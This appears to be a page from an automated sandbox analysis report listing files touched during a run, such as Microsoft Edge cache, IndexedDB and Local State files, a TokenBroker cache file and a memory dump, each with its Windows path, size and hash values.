MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\cc2267e3-3794-407c-a5c9-855d9ed2f07b\index-dir\the-real-index
Size 216B
SHA256 b907d2c8cacc0d4f537da7406813734fba563d5646d3c38db3c79e4fd24e0ade
MD5 d35842cb1f0ea844c7cd182ef919f934
SHA1 6bd1760d9e461de28720f71627095c2c803ce2d9
SHA512 b54b17a0261a6edf2d68f05172f11a9094c6997d267d85471a480af020b0afafd915a748b65a9bc6ff6a6b9aa5149442b7d50b7a1ad311c31864cd542b3a0e34
TLSH
T149D08C1CE0740300E03503B804A513A175380D04FD1A021350C23B6A714A0F049AB0BC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58f0e3.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\cc2267e3-3794-407c-a5c9-855d9ed2f07b\index-dir\the-real-index~RFe58f0e3.TMP
Size 48B
SHA256 882edcee4f6a7ab8bd9e987f90e1b7d5f23e1598894bd618ba5f30921775cb9c
MD5 10fcd6e52975f8b6dcac583591e8f8b0
SHA1 3603b452434fdf56713a5914bd4c84237ce2ba59
SHA512 34c73116493e97af07f5e93e1fd0ecb2b9e5f0845077abb4d7f4c531b003936c4fbf99d1bce6bc4a4fcb9f181ba1b7746ddcc91d45c38d5c5c7ea441e6a71e09
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\index.txt
Size 80B
SHA256 9d6d169ac76c52af062c2862bc082cd675af4f7be889f9e0e3f12ea54a979d92
MD5 18f19c8e89df3c36de5a8ccc57f3cb68
SHA1 5b201bc381de42b95e667953972d09867b5bbe4b
SHA512 032d52805701789686f5b2bbbfb95e6fa218ad1eecdf762340adfdfc4ff453e20cc13873439bed44340f697984c327863a1d99b27f6fdbebc27fef44d309c457
TLSH
T13CA002FB0854818E5F30ADE92435B31DF40B81CC9CD5CDF4D50984533138F321412D98
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\index.txt
Size 161B
SHA256 665f0d3138e1e3086140859fb0b872577671b88facbb7d992d40e853fbbc10be
MD5 3deb4ac91ef683efb94687244b4fac8b
SHA1 4675f9b8db8a839520f1493f1b5db22d375b9765
SHA512 6f5e8e95eef040422a758ddedc98dabd62c1b68743b1f078b47b22730fdd84e1cf029447047f397d6adb0381d698b6d626c396954b75d884d23a023a31edc07f
TLSH
T1A1C08CF31420024A4B319BD43020730ED52B5CAD8CC4CDB8940530023034E228900929
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\index.txt
Size 155B
SHA256 67227104a0699b15be7c857bdf581ccec3be4e4d8de3aae11ce17260dc936f2a
MD5 284a546bb4d829f3a7a85d29161210be
SHA1 0d76eb7aba23c84f64f83236de04655ffeb96ef9
SHA512 e1cbf668f4e4aa5b7ff815e539a8e22c3252882d44ca769080bc2d5f002d0d97b9a8f4e37fc57e302e92a2520915c683122ec6b8f7b742b2d88e93ce9f163de3
TLSH
T11EC08CF31410828A4E30DBD83020771EE12B508C8CC4CDB8950410023034E22481192A
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe5894e8.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\CacheStorage\index.txt~RFe5894e8.TMP
Size 164B
SHA256 cafb5ad7f892172cd1a15005159202f4d82074e08aa16a52396501439e2942f4
MD5 dc2fb3f8112872167caf8bcfd822d0ec
SHA1 90d39cf84d3dd79961823443c9cfc93ff950e7a3
SHA512 ace08d17c8fb89eec5f4c0dd949386e6debc5f6011f995f3ef853ea20ef7e6698214a48d4c44d91e455a7d3a72ee8b2af7bba7b6f47a8cabb61acc6952e62019
TLSH
T169C08CB70871824A2A20E9E61420B10CF1079C8C5CD5CCF88902F0532578622A812A18
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\2\IndexedDB\indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 ed2fac43afa8f5800f392aff26be3c91e6d49a354c2aef4285574fadfff5baff
MD5 e7e2706da1475c7cd56160e641caed44
SHA1 5e6f60448d38baa26fb85e0d312f84803edff984
SHA512 9f187183f5d62d043ca3b8e4528d5af88628e6f33d5b8bf66f448732b6378126510fc2be704407390b21631dc4112ba647230c4d82f80504eb859132728ec75b
SSDEEP 768:8FQ+36wgWkrhoGpENdwjnykJTjKgqmUg+:F+33IHOkigRUV
TLSH
T1FAF2E4F598D79977E8AE4B87A77D2D029AFCC113B5885984B7D85D0CCC860BFC30A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 fdd59950fe3a112afebcca991d2db7f6eb04479b3c81c7a41ba11c3365d4ed4d
MD5 36ab7e9b290fa720aafa8371ac5ffce9
SHA1 b6eedc40cadd38773df9790d26d4136054e7b66a
SHA512 b35d68f9bf25b728614d9e58ebfd20f218fc63cf9a03f6665b7d536f326a5a2a8471ba5c68698b81ee0f581b8435aa9ad549981225a75054a58446eafa59434e
SSDEEP 768:SFQI36wgWkohoGpENdwjnYkJTjKgqmUg+:/I33ZHOgigRUV
TLSH
T1ACD25A36D8A4DABBECEB9EC5B74A3607EEE44123C9CC9AD8D5D85D0C009749D030BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 2a6efb517ea29ae46889c76f70a38f9454c46025d40d8a75769d725733002e3e
MD5 c96316e1e41245bfab858f848da70f2a
SHA1 219eef48b591fc9dc878fd7326be3053e8310e6e
SHA512 737c2bfb439a6debb6140710b585e66e81579bcdff2c713d3211586a72f66851c2151f48c60fa11863fb207bc581da6a9eda8a266f3fa4fde775cccf9c80e1cc
SSDEEP 384:npBiF9CcmyWCs3sNK8TUNTUlIm2QckCr9lMKphiftGfFmmEEXIQ/4dWnj2Vpde4a:poFccps3bwgbkUCkoGpENdwj2lI8p0KS
TLSH
T1F6B25B36EC68DEABEDE74F89B74E7A07DEE0122785DC59D8DAD85D0D009319C430B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 c16fed9be57dc28166e50cdef5008d179bd6882d54ba09e57efedecf18b1fd31
MD5 b92740f07fd34574e9cb53b25ea8e732
SHA1 4b5fb48257843199efe366f3b91ba54fdfc99d36
SHA512 28746ca6fa39756c6de1818a1c61a71e573634d41b8fdb69d08ce04d303c05db862604978ba2417b1aef0feccf666bde9971cf116ed6d74253588726bd5c6413
SSDEEP 768:pdFQI36wgWkBhoGpENdwjnYkJTjKgqmUg+:6I33aHOgigRUV
TLSH
T11AD25B36E8A4DABBECEB9EC5B74A3607DEE44123C98C9AD8D5D85D0C009759D030BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 422e12f1700addce6250567fdd4158d3f4b3a2c1b7b012b5d0ed89aa9592ec65
MD5 c56d877541302f648ff6544992ec9b9e
SHA1 7f1d0b986c433b4f1757bc8a11ba27c905eb614b
SHA512 10df0d1a19481a073417550d2045a49ee105f6404a182f7de60255b3dda31512bcaa15edb4e4faa87e3dbd0f667aeddbaaaaf3ae40cd679a5d0eb2d125a571b6
SSDEEP 768:pEFccps3KwgbkUu6oGpENdwjnNkJI8p0KS:us3ctHOPI8p05
TLSH
T11EC25C32E898DEABECE74F99B74A3907DEE04223858C9AD8D9DC5D4D109719D430FC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 ebe21413cef9161086c57de645f723ec1fff19fd5386f12a5339716e68266a11
MD5 9d4483f7d992a59fb490a78c56faa615
SHA1 8e0869b35cee84ce8621ceed078fa67a078754ea
SHA512 7191326dd012f081b319e3beb169b0d67c6f4f6cefe75d43703d71ef21316ebcdbe0791026338488d03190addd3c76a1ea916188bc9ddd99b6a1ce0e29399d73
TLSH
T183413B5C7AE91158B3B77E1A9FF6A9AD483FB8772F06D49D00010E4F0A22A04CCA1737
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3384-372-0x000001FD11CE0000-0x000001FD12CE0000-memory.dmp

Download